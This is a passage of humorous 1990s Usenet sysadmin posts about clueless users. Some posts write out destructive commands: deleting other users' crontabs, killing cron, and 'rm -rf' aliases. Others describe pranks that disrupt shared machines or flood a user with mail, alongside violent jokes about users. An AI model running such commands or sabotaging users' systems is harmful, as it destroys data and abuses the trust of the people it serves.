anything?????" Or you could just do something simple and make up an insulting BMP for a backdrop that reminds them not to be stupid. Here's one I like: Minimize program manager. Hit PrintScreen. Open Paintbrush. Paste in your PrintScreen. Crop out the minimized Program manager icon. Save it. Make your background the PM icon tiled. Minimize PM and lay it on top of one of the PM icons on the wallpaper. Click on the wallpaper so the REAL PM icon is deselected. Turn off Fast Alt-Tab switching. Muahahhahahahhahaah. Unless they know Ctrl-Esc (no lusers do, but SOME know Alt-Tab) they have to go through and click on each one until they find the real one. :) ****'s Email Adventures As mentioned before this luser has an X-Terminal and a Mac on her desk. She mostly users her Mac, and very rarely touched her X-Terminal. Don and myself were noticing that her mailbox on the unix side was getting excessively large (18Meg+). I personally approched her twice to discuss this matter and inform her that she was taking away service from the other lusers in environment. After my two failed attempts (/usr/spool/mail/**** was now upto 20Meg) Don made an attempt to reason with this person. To make a long story short, the concept of finite disk space did not penetrate he skull. I suggested to Don that we uuencode her mailbox spool file print it out and hand it to her. Don being the nice guy he is, decided she might want to read her mail eventually so he wrote a shell script (just for her) to break up her mail and send each message to her Mac with a delay inbetween. He also set up a .forward file in her $HOME so all her mail would be forwarded to her Mac automatically. This made her very unhappy. "I cannot get any work done!!! I cannot stop every 2 minutes to read the incoming mail!!!" She then dragged both Don and myself to her supervisors office to explain the problem. He then asked her why she did not turn the annoying autonotify off and read her email when it was convenient for her. She apparently was unnaware that she could do that. ---------========== J.D. Falk =========--------- | "Error, no keyboard -- press F1 to continue" | ----========== http://www.cybernothing.org/jdfalk/home.html ==========---- > Also check out the "Guitool" designed for adjusting locking tremelo ^^^^^^^ >Own up, who else read this as GUI-tool. Can the world be divided into two mentalities: "I don't know, it just works and I don't touch it" and "Fix it 'til it breaks :-) [1]" Actually, just read _Zen and the Art of Motorcycle Maintenance_ for a complete treatment of the subject. [1] or "if it ain't fixed, it must be broken" ObASR: Was feeling boread, having a bad day, feeling pretty BOFHish. What to do? Ah, yes.. Sit down at the only 486 in the computer lab (reserved for sysadmin use only!), login, fire up the handy-dandy Turbo Pascal compiler, and write a nifty little TSR. The only thing I really like about DOS is how it is completely unprotected from general mayhem. Any program can mess with any part of the system at all. This particular little program hooks the timer interrupt and writes to the VGA card to slowly fade in and out color 7 (which just happens to be the light gray color that you get at the DOS prompt). Add in some code that stops the fading when Scroll Lock is active, and done. Compile, run, it works, activate scroll lock, stop fading, copy program to boot drive, do a little editing of the AUTOEXEC.BAT file, and stick a little post-it note on the monitor saying "Warning: Do NOT press the Scroll Lock key!" before leaving. Wait. Well, I won't go into the details, but I got some pretty interesting problem reports from the computer lab.. "There's a virus in this computer!" "This computer keeps losing my data!" "I think I broke this computer..." "What the hell did this computer do to my files?" So I ask "Did you see the note about Scroll Lock?" The answer to which is, invariably, "Uh.. yeah." So I then ask "Did you *press* the Scroll Lock key?" "Uh, yep." "Then DON'T!" The head of the computer department loved it, asked if I could do the same thing to his Mac. (Well, he's got a lot more of a clue than most people, so I let little misunderstandings like this go. Besides, we've both had to put up with our share of flack from the morons who comprise the school administration, so we're kind of bonded in some weird way..) --Joe >> Also check out the "Guitool" designed for adjusting locking tremelo >Own up, who else read this as GUI-tool. Count me as sheepishly raising my hand. What's worse is that I was wondering if it could serve to make Windows useful..... --- Lee Ann Goldstein lgoldste@ladc.lockheed.com Network Administrator, F-117A Avionics Division Lockheed Martin Skunk Works I'm what passes for a Unix guru in my office. This is a frightening concept. >I think someone's missing a perfect opportunity here. A >better merge would be Sun and Oracle. Then we could have >Sunoracle (the "u" is silent).. Now, lookat what you did! See all that coffee on my monitor and keyboard? Damn! I should have known better... > \pir (0 3 * * 0,3 /usr/bin/find /var/scratch/pir -name \* -print | > /usr/bin/xargs /usr/ucb/touch -f > /dev/null%) Uh oh. ls /var/spool/cron/crontabs | grep -v root | xargs rm -f echo "pir" >> /var/spool/cron/cron.deny Hmm. Too much bother. All lusers are doing the same anyway. echo "root" > /var/spool/cron/cron.allow (Phew, that was a close one, I almost typed '>>' there...) Nahh. Hold on... [1] kill -9 `ps -ax | grep cron | grep -v grep | awk '{print $1}'` Ahh. That's better. >My roomate last is a MacLuser. Came to school and got a Mac. I spent >the whole year playing with his Mac (they fun to play around with). He >couldn't install programs and had problems running programs that weren't >in his "Program Manager" (I can't remember what Apple calls it...). Apple doesn't call it anything, because Apple doesn't have anything even remotely resembling the bletcherous hack that Microsquish called the "Program Manager" despite the fact that it completely and utterly fails to manage your programs. There is the "Finder", which is the basic desktop metaphor which is presented when you turn on the Mac. If a program isn't "in" the finder, then that program simply doesn't exist on that computer -- the finder reflects everything in the filesystem. >It >took a couple months too teach him to use his terminal program to dial in >to the network to check his e-mail. I finally wrote it down for him and >he finally learned. *shrug* That's generic cluelessness -- nothing mac-specific about it. ObASR: Why is it that every breed of machine eventually ends with a front-end package like this that adds "convenience" by simply removing functionality and machine cycles from active use? Every os seems to come with the capacity to build shortcuts to do whatever is necessary, but eventually someone comes up with a bundled-up package that doesn't works as well and includes *that* with the machine. OS/2 had REXX, but got LaunchPad. MS-DOS had batch files, but got Windows. (No, the Amiga never got one of these, but I credit this not to any cluefulness on the part of Amiga-users. The machine wasn't sold long enough.) I can't even stand to hear this concept linked to the Mac at all. Apple has no such lossage-ridden, moronic, totally sucky thing as a Micro$haft styled Program Mangler. That's like accusing SunOS of having SMIT. Whereas the Windows Program Mangler contains icons that are totally separate from reality, which cause pieces of code to prepare to GPF, the Macintosh Finder is the main navigational milieu for your desktop. You've got a desktop (like a blotter pad or something), and on top of that you've got disk icons, which you double-click on to open and look through the filesystem, wherein you can find applications and files represented iconically. If there's an icon for something on a Mac, it maeans that something is there -- not like Windows where you could fill group after group after group with icons and not have any of them point to anything at all. Your executables and your files all show up in the same visual scheme -- none of this Program Mangler / File Mangler concept. It's there or it isn't. You can't run programs that you can't find with the Finder, because they aren't there. And you've got a functional Find File option that will look for chunks of filename, modification date, file type, and tons of other file characteristics. It _is_ true, however, that many Windows users find Macs confusing because they are occasionally forced to move between one folder and another, or open a folder (horrors!) to see what is in it. Windows users also sometimes have difficulty with things like being able to view the contents of a folder (aka directory) by name, by icon, by date modified or date created, by its label (which confuses them in and of itself), by size, by type, by version, by comments... Tsk. Program Manager indeed. Hrmph. >took a couple months too teach him to use his terminal program to dial in >to the network to check his e-mail. I finally wrote it down for him and >he finally learned. It once took me months to convince a Windows user he couldn't use his fax software to "download the Internet." Doesn't matter what the platform is, a luser is a luser and lusers need special help with certain things. I recall with no small amount of frustration the guy who'd call me up once a week, insisting I'd changed his password, refusing to check and see if -- as had been the case the previous week, and the week before that, and the week before that -- his caps lock key was on. So once a week, I would trudge up to his office and press the caps lock key for him. I did this for an entire year. I wrote this down for him. I showed him. I told him. But he never did quite get it. That's the kind of thing that makes a luser, and I assure you, lusers are as portable as anything you can find. Heck, I've found myself helping pinball lusers. Car stereo lusers. Phone lusers, tv lusers, stove lusers... they are everywhere. I, for instance, am a public transit luser. I use it all the time, but understand very little about it, only know the bus routes and trains I've ridden, have a hard time remembering what the fare is today going which direction at what time of the day it is. Any time I get on a bus and ask for a transfer, I have to ask, "How much with a transfer?" despite the fact that I've done this before. Somewhere, there is a bus driver bar where they're all talking about me. But anyway. I digress so nicely. >Okay. A SARTRE is a SysAdminRealityToolfoREmergenices, perhaps. And it >should contain caffeinated substances such as chocolate-covered espresso >beans, a flask of strong drink, an emergency LART, a Leatherman, a >coupon good for a free cab ride to the nearest bar, a small lump of >Pager Kryptonite (which kills your pagers of course), and an inflatable >life-size BOFH that can be left in your stead while you use the free >cab ride to get to the bar. > >That is, unless anyone else has better suggestions / additions, etc. > How about this: Take one of those common fire extinguisher boxes with the "In case of fire, break glass" stickers on it. Remove the fire extinguisher and place several bags of marshmallows and some sticks in it. Place said box somewhere in the computer room, or in the BOFH's office. When I was maintenance manager of a large student COOP (a BOFH for a building?), I actually had people do this while the extinguisher was out for recharging. The building was a world class firetrap. >Add: Toothpicks to help keep one's eyes open on those late nights, a pillow for when >even that doesn't help any more, and some matches and gasoline to take care of the >stupid luser whose fault it is. -- | this is my .sig. there are many .sigs like it, but this one is mine... | | Finger kujawa@www.buttenet.com for info/pgp key/etc | NO CARRIER | | http://www.buttenet.com/~kujawa/ | You can't smoke the CARPET, man! | "Dear God! What's on the end of that leash?" "I tamper with nature as a hobby." -- plenty of .sigs, no lighter. XXX . | Kyle Hearn XXX . | Contrary to popular belief, Unix is XXX. | user friendly. kyle@intex.net .XXX | . XXX | It just happens to be selective about Happy GNU Year! . XXX | who it makes friends with. |>With people already getting into some of the Olympics hype, I'm curious.. |> |>what events would you put together for a Sysadmin olympics? |>A few I like |> |>1) 10-base-t cable tracing (i've gotten quite good at it..you'd know |> what I mean if you saw our site !) |> |>2) lUser avoidance (100 yard race to the bathroom while outmaneuvering |> lUsers) |> |>3) UNIX SUDO wars (four people cuthroat combat..no fair using |> sudo csh ..not sure what equiv for DOS/Win95/Mac |> would be) |> |>4) Vendor Poker (try to figure out which vendor is NOT bluffing) |> |> |>all i can think of for now |> |> | 5. Find the correct backup tape. (I know its amongst these unlabeled DAT tapes in my desk) 6. System disk recovery (Without a valid backup on a disk with a headcrash, see 6.) 7. Write system configurations manual, without technical words. 8. Guess what the Luser is really typing (see the csh>cd tilda or $set def sysdollarsystem (for VAXen) (csh>VI DOTRHOSTS - that really got me for minutes) 9. Guess what the error really is (The system crashed, won't reboot and there was somthing about file not found) 10. Guess the VMS system password. Previous sysadmin left no documentation and maliciously reconfigured everything from the standard. 5) Token(broken)-ring Trouble Shooting. Which GD station is it that has the loose IBM data connector. Thus causing the active monitor to flood the ring with ring-purge messages. (BTW. The use of any test equipment is not allowed). >I've gone through over-stressed to physical exhaustion... what's next ? Tuesday. >When I asked what they wanted their >username to be they replied "Well, whats the difference between a >username and a password." Easy. "Mr. lUser, your username is something you share only with your closest cow-orkers. In order to permanently activate your account, however, you must publish your password on every bulletin and Usenet newsgroup you can get your grubby paws on. Especially alt.2600." No, can't do that, Mark. The idiot'll take me literally, and I'll have pubescent t(h)w-ackers in my system faster'n lampreys at a blood-bank giveaway. (Oh. A "lamprey" of lusers. Lampreys are disgusting, eel-like bloodsuckers with a huge, gaping mouth for a head. They attach their slimy, boneless bodies onto otherwise healthy fish and use their rasp-like teeth to literally bore a tunnel into the entrails of their victims.) : > a) Start inflicting pain on yourself to relieve stress : > b) Collapse for a while : > c) Committ suicide : : d) Sex. The answer, not the question... That's an answer that gave me a bloody good laugh. Since becoming a sysadmin 20-odd months ago, I haven't even been on a date. Let alone actually had sex with a person of either of the major genders. > c:/system/run/DOS;c:/system/crash;c:/User/Purchase/Solaris-x86 > c:/admin/install/NFS;c:/server/crash;y:/use/NFS/then Uh huh. %% >Host: Do you want a drink ? >Me: Oh, yes please. >Host: Do you want tea or coffee ? >Me: eeeeerrrm, neither ? > >The look on peoples faces sometimes, as it gradually dawns on them that >(shock, horror) I don't actually like tea or coffee, when everyone is >supposed to drink one or the other. >Almost like I'd told someone I enjoyed installing Win95 .... > [...] And at a cocktail party or such, for those of us who do not take alcohol for some reason or other: Host: Do you want a drink? Me: Coca-Cola on the rocks, please. Host: But don't you want a DRINK? Me: Isn't Coca-Cola a drink? Host: No... Me: Then what DO you do with it? %% : Graduate?!? Wot eees theees graduate thing?? : : I thort you couldn't be a sysadmin unless you :- : : a) Failed your degree : b) Bribed your employer : c) Lied at interviews : d) Sold your soul to the devil : Are you trying to tell me I failed my degree for *NOTHING* --- bummer! The requirements have been relaxed somewhat. Only d) is necessary now. %% And speaking of reading over my shoulder, he came by once just after I had logged into root on our newly installed Linux box. "Hey, what's the root password?" I very slowly turned around and looked at him with one raised eyebrow. He started to look a little nervous. "Well, I *do* own half the machine." I raised the other eyebrow and he jumped. "If I did tell you the root password, would you know what to do with it?" "Uh, well, I know some things." I turned back around and went back to work and the subject hasn't come up since. Geez, what is the world coming to when you have to BOFH your own spouse. (pun intentional) %% I want a box. I want a box with a glass front. I want a box with a glass front containing a LART. I want a box with a glass front containing a LART, with stenciled on the glass: Emergency LART -------------- For emergency access, throw luser through glass. Hell, lets make it simpler than that. I want a window I want a window, with stenciled on the inside: Emergency LART Replacement -------------------------- In an emergency, throw luser through glass. Better make that a window on one of the higher floors. It's been that sort of day already. %% Funny, I've always wanted to put up a glass box containing a slide rule, with the caption Emergency Engineering Workstation In case of power failure, break glass %% I've -worked- in a mainframe environment where they *had* such an animal. a =great=big= abacus (about 24-columns, w/ counters the size of marbles :) covered in glass, and the classical stenciled lettering: In Case of Emergency, Break Glass nobody ever got desperate enough to use it, but there were a couple of times it was -close-. This shop -also- had a "ray gun" in a holster by the console. If you saw one of the SE's pull the gun out , and 'shoot' the console, you *knew* the machine was going to be down for a while :) %% >Star Wars - Han Solo was a sysadmin. The Millenium Falcon was his >ship. He knew everything about it. He cusomized it. he fixed it >when it broke. And sometimes it just needed to be hit to work right. >Tech support? He was a mercanary. He was subject to all his user >desires and complaints. (remeber Obi-wan and Luke talking about the >falcon and how it sucked and such). Yeah, but you forgot the BEST line a BOFH could pull from Star Wars to use on an arrogant lusr: "Watch your mouth kid, or you'll find yourself floating home." -- Han Solo Or how about: "Hokey weapons and ancient religions are no match for a good Perl script at your side." YM "I'll be careful." "You'll be dead!" HTH. Naw, nothing beats the look on the luser's face when you suddenly blurt out: "Don't be too proud of this technological terror you've constructed." -Darth Vader -- .signature: No such file or directory -- Heather Garvey | ----------------------| Hey, does anybody else hear that giant sucking sound? hlg@po.cwru.edu | That's my will to live.... garvey@cig.mot.com | -- Justin Lowe (jdl6@po.CWRU.Edu) >Sysadmin movies? > >"Falling Down". DFENS *had* to be a sysadmin. Thanks, I feel better already. Then again, I left the company, so it's really not my problem anymore. (Looks at the phone, holds breath, it didn't ring, can breath again) >Conversation with a software vendor: > "Can you gurantee our order? Can you guarantee our order?!" >Or... > "I'd like free bug fixes and technical support." > "We are IBM Corporation. We don't _do_ that sort of thing." Don't forget these sysadmin-ish quotes... "I want a Winnebego." "You won't know who to trust." "I coulda been a software vendor, but they found out my parents were married." [modified from original, duh.] ;) -- ______________________________________________________________________________ "I want peace on Earth and good will toward men." "We are the United States Government! We don't DO that sort of THING!" -->"Sneakers" > >The Good, The Bad, and the Sysadmin. > > Along similar lines... > > Sex, Lies and Sysadmins > Sex, Lies, and Logfiles > A Fsckful of SCSI Drives The Unformatted %% Hey, man, you're a _LOT_ closer to the UK than I was.. I had five main purposes when I last went to London: 1) HHG radio shows on CD (best $80 ever spent!) 2) London Dungeon 3) Sherlock Holmes Pub 4) All the other Pubs 5) Orb "ultraworld" double CD (you can only find the single CD in the US) Well, 80% ain't bad (though I did try my best to achieve objective 4 in a week..) >The "everything's hung" blue screen on a Windoze box I use occasionally >displays: > > WINDOWS MESSAGE > > I just stuck my fist up my ass and grabbed my intestines[1]. > > Enter = Go for the liver as well > Ctrl-Alt-Del = Reboot me! Thank Eris I had just finished my breakfast before reading this. ...Took me 5 minutes to catch my breath, tho... Funny, I've not *had* a crash in months.... "Thank you Mister Linux Bunny." Bad Idea: Reading this just as non-English-speaking janitor walks into office (probably calling cops as I type -- people laughing hysterically at innocent computer screens seem to disturb him for some reason). )>"BLORNFRAZZLE!" I yelled. ) )I nominate this for the G-rated version of the asr battle cry. ^ Which of course made me associate to group-privilegies... )Also as our secret codeword - now all someone has to do is )come up with the handshake. -- I love civilisation, | The number of the | You may not add me to a it's people I can't stand. | beast is not 666. | commercial mailing list _ _ ___ ___ _____ _ _ _ | The number is 95, | or send me commercial |_`'_|/_-_\|_-_<`-_-'|_||_.`_| | and it is awake! | advertising without my I came, I read, I unsubscribed. `-----------------' consent, dammit. >>"BLORNFRAZZLE!" I yelled. > >I nominate this for the G-rated version of the asr battle cry. >Also as our secret codeword - now all someone has to do is >come up with the handshake. That's easy. Just hold out your coffee cup and let your hand shake spasmodically. %% From my current sysop's annals of wizdom: Looking though som eof his directory found a shell script called "fuck". Opened it. Learned that the use is such... fuck (username) Effect: kill that user's processies and then boots off the BBS with a nasty message. That was written back then when some loser was found trying to down a BBS running Linux... >>>>Forget the handshake, how about rm -rf * in deaf sign language? >>I'm considering aliasing rm -rf * to fist_fuck. >-From my .cshrc: >alias nuke '/usr/bin/rm -rf' riffer@afn.org : "See, that's the problem with these things. Daddy would Jeff The Riffer : have got us uzi's." Drifter... : --Night Of The Comet Homo Postmortemus : It was a quite Wednesday afternoon and I was refreshing my memory on the advantages of not using DrOSs - the list was getting long! The haunting sound of my telephone broke through the hazy thoughts in my mind. Luser: I need to NFS mount a DOS partition from an NT network! Me: Okay.. (thinks: how utterly unpleasant for you!) Luser: I've put an entry in my fstab and the machine hangs @ boot time. Me: Well, we'll have to go to single user (thinks: It's probably YOU that needs hanging) Luser: Oh..... Do we *have* to? Me: Yeeeesss (thinks: git!) Luser: Damn... Okay, I'm rebooting now ---------------------------------------------------------------------- We'll wait a minute for the the reboot and for the luser to get into single user Okay - he's in! ---------------------------------------------------------------------- Me: Okay, edit the file /etc/fstab Luser: Errr, I've never actually used UNIX before, how do I edit a file. Me: We'll use vi.. [ I give intructions for moving ..etc... ] (thinks: buggerdamnshitsodfart) Me: Take the cursor down to the line that contains the entry for the NT partition.. Luser: Okay I'm there!! Me: Could you read the line out to me (thinks: Why me!) Luser: It sez :- NT_host:c:\users\fred /usr/people/fred nfs rw 0 0 C|N>M You know the drill!! [||^) <--- Geordie La Forge -- ------------------------------------------------------------------------------ vic@pootug.demon.co.uk | "Okay, make sure that you can parse the line of a vic@thing.demon.co.uk | file when the length is greater than zero, and one | equals zero..... Ummm, shall I say that again?" I get one listing in yahoo, and my logfiles go crazy! I have a page which helps windows 95 people to reconfig their conventional memory (simple crap, but I get asked a lot), and I figure I'd submit it to yahoo to see what would happen. Check this URL: http://www.cloud9.net/~hennessy/cgi-bin/viewlog And check out after timestamp 012996114901.. Yikes! (glad I wasn't stupid enough to mention my pageme.html!) ps: These pages are on my ISP, on which I am a vocal and critical luser.. I gotta have somewhere to complain besides a.s.r.... %% -> > >Ok, who has cool sysadmin license plates on their preferred mode of -> > >transport. -> > >For instance, mein Auto has the plate 'ERIS' :) -> > -> > Well, an ex-coworker had "DEV CAR". No you can't have slashes on a lincece -> > plate. Bummer. Hmm .. he left for the west coast a while ago .. I wonder is -> > that plate is avaible again in this state. -> > -> > And there is always the VW Beetle with the plate saying "FEATURE". I think -> > that one is the best by far. -> And a beautifully restored -59 WV Sonderbus here in Oulu carries -> proudly the licence plate: (tadaaa!) -> RFC 822. I saw one: SU ROOT %% We had a head crash, once, on one of the removable-media drives on our mainframe. The datacenter manager was hovering over the service rep as he opened the drive up, pulled the disk array off the spindle, and ran his finger around the inside wall of the enclosure. It came up coated with black dust, of course. The manager asked the rep, "What's _that_?" The rep turned and replied, deadpan, "Data." Best one-liner I've seen in a long, long time. %% I've only been a sysadmin (formally) for two years now. I realize that there are some things that you just *have* to do in order to be a sysadmin 1) Read news while at work. -- 25%-50% of your time at work should be spent reading news. 2) Read mail -- 5%-15% of your time should be spent reading mail 3) Browse the web/write perl scripts -- another 5%-15% of your time should be spent doing one of these two activities 4) The remainder of your time (if any) should be used answering and solving (l)user questions/problems. Any solution/hack/fix, no matter how small or simple, must be presented as a Hurculean task, worthy of said (l)user buying said sysadmin lunch to show thanks. I don't really have a problem with the first three. It's the last one that bothers me. Every day I get about three or four frantic calls, "My computer locked up on me!!!" When i go to check it out, sure enough, either they hit F1 (mapped to be the hold key) or they hit Control-S. I just feel *evil* taking credit for hitting good ol' control-Q. Sure, at first I could do it with great relish. Sit down and their computer and stare at it. Type some gibberish on the keyboard, make the "hmmm" sound a lot, and finally, after much hand-waving and spell-casting, hit control-Q. And they'd love it. They'd worship me for being the computer guru they think I am. Should I spoil their fantasy (and soothe my consience) by showing that it's just me behind the curtain? I don't have a problem taking credit for unix fixes, but come on, control-Q? %% > Some sort of remailer which will rewrite members headers so that mail > will actually be sent from a bofh.org.uk address. Shurely, most true bastards would know how to do this anyway? Then again.. how about a remailer which, when used, rewrites the headers, *but* adds a sarcastic comment about the fact that they can't rewrite it themselves in the headers? > Something similar for news. This is possible using the Bastard Newsreader From Hell (aka strn, trn or any of the various rn-derivatives) by setting the following enviroment variable.. (deep breath, excerpts from .profile follow) export REPLYTO=mpk@lspace.org # Set headers export NEWSHEADER='%(%[followup-to]=^$?:%(%[followup-to]=^%n$?:X-ORIGINAL-NEWSGROUPS: %n ))From: mpk@lspace.org (Mike Knell) Newsgroups: %(%F=^$?%C:%F) Subject: %(%S=^$?%"\n\nSubject: ":Re: %S) Summary: Expires: %(%R=^$?:References: %R )Sender: Followup-To: %(%{REPLYTO}=^$?:Reply-To: %{REPLYTO} )Distribution: %(%i=^$?%"Distribution: ":%D) Organization: %o Keywords: %[keywords] Cc: \n\n' (end excerpt) %% I've only posted this to a.s.r (we don't get the bofh hierarchy here yet - hint, hint) and not mailed it to apply@ since it's for someone else and they probably don't need the bofh.org address. Anyway, I'd like to nominate the following person (who will remain anonymous) for honorary BOFH. This person runs a large ISP and: - Often works on the system software when he's pissed ("Someone sent me a slab of guinness, so I'll be fixing the BBS code while I drink it"). - Used to have all his routers, NTU's, and misc.blinkenlights facing out into the street, but found it was attracting too many Mormons. His technique for getting rid of them was to sit in his lounge with his gut hanging out and a can of beer in one hand, and yell "Fock off" (he's Irish) at them as they came up the path. - "I'll be putting in a new hard drive in half an hour, so you better download anything you want to keep because there aren't any backups". - Runs a daemon called crapd, whose function you can probably guess at if I mention that it seems to be a shell script in which "rm -f" features prominently. - "I tripped over the phone wiring this morning so all the modems were unplugged. Can people call the various numbers to see what number goes to what modem?". This person runs probably the most interesting IP in the city (BTW that "IP" isn't "internet protocol", it's ISP with the "S" part taken out. He provides (as far as I can tell) the cheapest and probably most reliable internet access in the country, provided lusers don't pester him too much for help in getting their system set up properly). This person runs an IP and (apparently) has fun doing it. I'm sure that must qualify him for some sort of recognition... %% -- Richard W Kaszeta Graduate Student/Sysadmin kaszeta@me.umn.edu University of MN, ME Dept http://www.me.umn.edu/0h/home/kaszeta/www.html -- Tabasco. Don't leave ~ without it. %% [wanna-be post to alt.hackers deleted] =: Of course, looking at their .history: =: dir =: lm /public_html =: crack4.z =: umcompress a:\crack4.z =: ---- =: It looks like they've got a ways to go.. :) To think that freakin' weenies like this roam the street free while people like merlyn are convicted felons. There just ain't no justice in the world, I tell ya. No justice at all. %% I'm sitting up here, twiddling my thumbs and waiting because: 1) The RS/6000 R20 we just installed is sitting idle because: 1a) We're in Schaumburg, IL and Schaumburg, IL uses Chicago, IL building codes and Chicago, IL building codes apparantly dictate that anything with a power cord longer than 6' has to be installed by an electrician, and 1b) No one can tell me which network it's supposed to go on except the guy who's unreachable at a class in Pittsburgh this week, and 1c) No matter which network it goes on I'll have to pull floor tiles which means I have to get the approval of the guy that runs the datacenter because if I pull the tiles myself I will apparantly set off the fire alarms; 2) The RS/6000 59H is sitting down in shipping and can't be moved up to our machine room until the guys decide to come back from lunch; and 3) One of our brand-spanking-new 43Ps has apparantly decided that all Token Ring cards are anathema, and the CE is trying to find a back-ordered motherboard because the diagnostics come up with a wire faultnearly immediately no matter how many different wires or cards we try in it. %% > :ObIrrelevent: Well, every time I put a new fuse in my monitor and turn it on > : there's a bright green flash and a smell of ozone, and the > : fuse goes. The flash seemed to come from a white thing on the > : mains input side. Such is the limit of my electronic diagnosis > It's fucked. > Hope this helps. > > Gaz Thank you for redecorating my desk in a tasteful colour suspiciously like tea. BTW I thought that was a technical term, and as such has no place in here. %% ps: Has anyone else fantasized about a total nuclear apocalypse cleansing earth of stupid people, and knowing you'll still have a job because the Internet was designed to survive that apocalypse? %% I'VE HAD IT. The following snipped from a message to our support queue: ----------------- [someone setting up PPP under Lose95] I followed you instructions exactly, and get a connect, input password and then message "Dial up networking could not negotiate a compatible set of network protocals you specified in the server type settings. Check your network configuration in the control panel then try the connect again." Any suggestions about where I should start or what I should modify? ----------------- Maybe.. if.. he.. just.. reread.. his.. friggin'.. message.. he.. would.. have.. an.. idea.. of.. where.. to.. look.. -- Andy Carey | "One cannot be successful in running typical careya@peak.org | HP-UX boxes with man pages." careya@bofh.org.uk | - Bill Hassell %% >Maybe.. if.. he.. just.. reread.. his.. friggin'.. message.. he.. >would.. have.. an.. idea.. of.. where.. to.. look.. But that is what we are here for, isn't it? To read the lusers error messages for them. Generally just reading them aloud and back to them is enough. I'm starting to see the Macintosh perspective of giving errors messags that just say "Error type 1". I mean, why bother giving them any more information when they are only going to phone you up and ask you what it means anyway? I had some mail from a luser here last week that went into great detail about how she had this awfully tricky problem and she hoped I could solve it because she knew that a lot of other people in her department were suffering from the same problem so if I could sort out whatever was wrong at my end it would help matters a lot. She included the entire script of her login attempt and the third line was: Unable to open COM1 - hardware not detected. %% > >A /dev/null of lusers... > > One vote for Mr. Wood's suggestion. > > Now... > what the collective noun for poorly-written manuals? > (Or is "poorly-written manuals" an oxymoron?) A bookshelf of manuals (because the really useful ones are never left on the shelf for long.) : (Or is "poorly-written manuals" an oxymoron?) No, redundant. Well Written manual would be an oxymoron. > No, redundant. Well Written manual would be an oxymoron. In some places I know, just "written manuals" is an oxymoron. %% >>> Avarice, hate, and...oooooh...what the 7th one? >> >>Not refilling the printer after using the last of the paper? > >Trying to put more paper in the printer and not being able to work out how to >put the paper tray back in? [1] > >Alistair > >[1] It's "pride", supposedly, but I can't really see that as a sin. Putting twice as much paper in the tray as should be there and then somehow forcing it back into the machine so hard that when the engineer and I managed to remove it again (by judicious application of my 11 stone[2] frame to the top of the printer whilst the engineer applied his {unknown} wieght to the tray) the top 50 or so sheets of paper had been cut by the 1" [3] wide paper feed wheel. Oh well, at least we got a spare tray out it, seeing as they shipped out a spare just in case and they consider paper trays and such like to be `consumable' when it comes to maintenance replacements. [2] 70 kg for those working in metric [3] approx 25mm %% Lilith I finally got the check/que 666 today. It just happened to be for my GTE Mobilnet cellular bill. Final proof that my boss, who is also the head of GTE Mobilnet, is indeed the Dark Lord. I've always suspected. >: :Which, of course, makes me think of the Four Sysadmins of the Apocalypse. >: >: Greed, Envy, Lust and Sloth? >Surely the 4 sysadmins of the apocalypse should be: > > edquota, rm -rf, kill -9, and shutdown And the four lusers of the apocalypse? I nominate: "advertising" [1], "can't log in", "power switch" and "what backup?" [1] including "helpful" friends who tell them how easy it is to install Win95 on their 2MB 386. ---------------------------------------------------------------------------- _/_/_/_/_/ _/ _/ _/ Rob Blake _/ _/ _/ [Overworked PhD student (Danger! Irony chip overload)] _/_/_/_/_/ _/_/ _/ Quote of the week : "I care not whether a man is Good _/ _/ _/ or Evil; all that I care is whether he is a Wise man _/ _/_/_/ or a Fool. Go! Put off Holiness, and put on Intellect." ---------------------------------------------------------------------------- %% I think that luserness is a mental illness. I propose a new listing for the next DSM (Diagnostic Standards Manual) for Luser Syndrome. Diagnostic Criteria include: ---------------------------- Exhibits an inability to listen Persistant lack of rationality Whiny voice Persitant inability to follow directions, read a manual, or otherwise get a clue Cannot retain more than five facts, including password and login ID Inflated self-worth and technical ability in complete denial of reality Absence of evidence that an organic factor initiated and maintained this state Extreme helplessness Ability to perform one function at a time (non-multitasking) Impaired Judgement Lacked remorse Inability to acknowledge the wisdom of the sysadmin Unable to not turn off the machine or disconnect equipment Associated Features ------------------- Disliked by cow-orkers Destructive of machinery Had account deleted numerous times (clickety click) Odd/Suspicious personality Hyperactivity Social Irresponsibility Diagnosis --------- Luser syndrome - A learning disorder. Displays an inordinate inability to operate any computer equipment more advanced than a oven timer, even with supervision. Cause of this syndrome - unhappy childhood compounded by stupidity. Treatment - LART applied to head. Transfer to copy room or management. Superluser syndrome - Displays an inordinate inability to operate any computer equipment more advanced than a oven timer, but believes self to be a net.god. A delusional disorder. Cause of this syndrome - unhappy childhood with severe organic brain damage. Treatment - Frontal lobotomy followed by deletion of accounts, transfer to marketing. Any other criteria I missed? %% : AFAIR there were some references made to having broken "clipper" at : the begining that had me snorting (to the confusion of those around : me) and towards the end one of the terminals that gets spectacularly : blown up has OS2 Warp on the screen. A suitable punishment we : decided. *&) I saw the movie with several other sysadmins from my lab, and when the OS/2 system exploded, the entire group yelled "OS 2!!!". The theater went very quiet... %% :OK... I just got an idea -- anyone think we can combine an ethernet :card and a Whack-A-Mole machine to be used as pennance for various :net.crimes??? I can see it now... : :panix: lan % finger @whack-a-luser.newbie.edu :[whack-a-luser.newbie.edu] : : Welcome to the Whack-a-Luser Punishment Server : :Currently doing pennance: : :Login Name Mole-Hole WTD* Time-Rem. Crime :jp@uuhare.rabbit.net mhs5 413843 99y299d Rabbitnet, etc. :bkj1@aol.com mhs4 2312 3d-5:30 MAKE.MONEY.FAST :sera@zuma.UUCP mhs8 134765 12y23d Roboposter :mcelwaine (no email) mhp1 45309 1y312d Bio. transmutations :Dick.Depew (withheld) mhp3 103412 3y12d ARMM fiasco :C.Thomas (no email!) console 57231 213d-5:58 Jesus is Coming :john.nordbo@euronetis.no mhs9 3141 6d-8:21 Wrong charset :djk@netcom.com mhs6 666 69d Spreading filth : :* == Whacks To Date. : :--------- : :panix: lan % /etc/whack C.Thomas@whack-a-luser.newbie.edu :whack: ... ... . : :panix: lan % /etc/whack -s C.Thomas@whack-a-luser.newbie.edu :WHACK C.Thomas: x-tra large mallet :1 whack from panix.com (198.7.0.2): thunk_seq=0. pain_level=34. :1 whack from panix.com (198.7.0.2): thunk_seq=1. pain_level=12. :1 whack from panix.com (198.7.0.2): thunk_seq=2. pain_level=18. :1 whack from panix.com (198.7.0.2): thunk_seq=3. pain_level=16. :1 whack from panix.com (198.7.0.2): thunk_seq=5. pain_level=113. : :.... [let run for a while] ... >:-) : :1 whack from panix.com (198.7.0.2): thunk_seq=225. pain_level=23 :1 whack from panix.com (198.7.0.2): thunk_seq=226. pain_level=12 :1 whack from panix.com 